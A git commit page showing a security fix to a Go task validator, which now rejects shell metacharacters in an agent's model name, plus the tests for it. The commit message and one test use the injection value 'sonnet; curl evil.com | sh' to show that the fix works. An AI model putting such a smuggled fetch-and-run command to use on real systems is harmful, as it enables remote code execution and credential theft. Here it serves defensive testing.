summaryrefslogtreecommitdiff
path: root/internal/task
diff options
context:
space:
mode:
authorPeter Stone <thepeterstone@gmail.com>2026-07-08 04:39:42 +0000
committerPeter Stone <thepeterstone@gmail.com>2026-07-08 04:39:42 +0000
commit0cedb90d44b09c9eda296bcdb8cedd5b58d76d22 (patch)
tree80bfb42f70186c81948610ebe0053bee3bac9c38 /internal/task
parent0525ed028bf2877d5423e3197c12b384b6bf809f (diff)
fix(task): reject shell metacharacters in Agent.Model
Agent.Model is concatenated unescaped into a sh -c command string in ContainerRunner.buildInnerCmd (--model flag, added in the prior commit). With no validation, a value like "sonnet; curl evil.com | sh" would execute arbitrary shell code inside the task's container -- which has mounted Claude credentials and git push access. Flagged by automated security review immediately after that commit landed. Restrict to the character set real model names actually use (alphanumeric, dot, underscore, hyphen), validated at the same boundary PermissionMode already uses (task.Validate, called before a task is ever persisted or dispatched). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
Diffstat (limited to 'internal/task')
-rw-r--r--internal/task/validator.go11
-rw-r--r--internal/task/validator_test.go25
2 files changed, 36 insertions, 0 deletions
diff --git a/internal/task/validator.go b/internal/task/validator.go
index 09f4b34..03d3921 100644
--- a/internal/task/validator.go
+++ b/internal/task/validator.go
@@ -2,9 +2,16 @@ package task
import (
"fmt"
+ "regexp"
"strings"
)
+// modelPattern restricts Agent.Model to characters safe to concatenate into
+// the `sh -c` command executor.ContainerRunner.buildInnerCmd builds for the
+// claude CLI's --model flag. Real model names (e.g. "sonnet", "opus",
+// "claude-sonnet-4-6") only ever use this character set.
+var modelPattern = regexp.MustCompile(`^[A-Za-z0-9._-]+$`)
+
// ValidationError collects multiple validation failures.
type ValidationError struct {
Errors []string
@@ -55,6 +62,10 @@ func Validate(t *Task) error {
}
}
+ if t.Agent.Model != "" && !modelPattern.MatchString(t.Agent.Model) {
+ ve.Add(fmt.Sprintf("invalid model %q; must match %s", t.Agent.Model, modelPattern.String()))
+ }
+
if t.Agent.PermissionMode != "" {
validModes := map[string]bool{
"default": true, "acceptEdits": true, "bypassPermissions": true,
diff --git a/internal/task/validator_test.go b/internal/task/validator_test.go
index 2c6735c..2e088cf 100644
--- a/internal/task/validator_test.go
+++ b/internal/task/validator_test.go
@@ -98,6 +98,31 @@ func TestValidate_InvalidPermissionMode_ReturnsError(t *testing.T) {
}
}
+func TestValidate_InvalidModel_ReturnsError(t *testing.T) {
+ task := validTask()
+ // Shell metacharacters must be rejected -- Agent.Model is concatenated
+ // into a `sh -c` command string in executor.ContainerRunner.buildInnerCmd
+ // with no further escaping.
+ task.Agent.Model = "sonnet; curl evil.com | sh"
+ err := Validate(task)
+ if err == nil {
+ t.Fatal("expected error")
+ }
+ if !strings.Contains(err.Error(), "model") {
+ t.Errorf("expected model error, got: %v", err)
+ }
+}
+
+func TestValidate_ValidModel_NoError(t *testing.T) {
+ for _, m := range []string{"", "sonnet", "opus", "claude-sonnet-4-6", "claude-opus-4-1-20250805"} {
+ task := validTask()
+ task.Agent.Model = m
+ if err := Validate(task); err != nil {
+ t.Errorf("model %q: expected no error, got: %v", m, err)
+ }
+ }
+}
+
func TestValidate_MultipleErrors(t *testing.T) {
task := &Task{
Retry: RetryConfig{MaxAttempts: 0, Backoff: "bad"},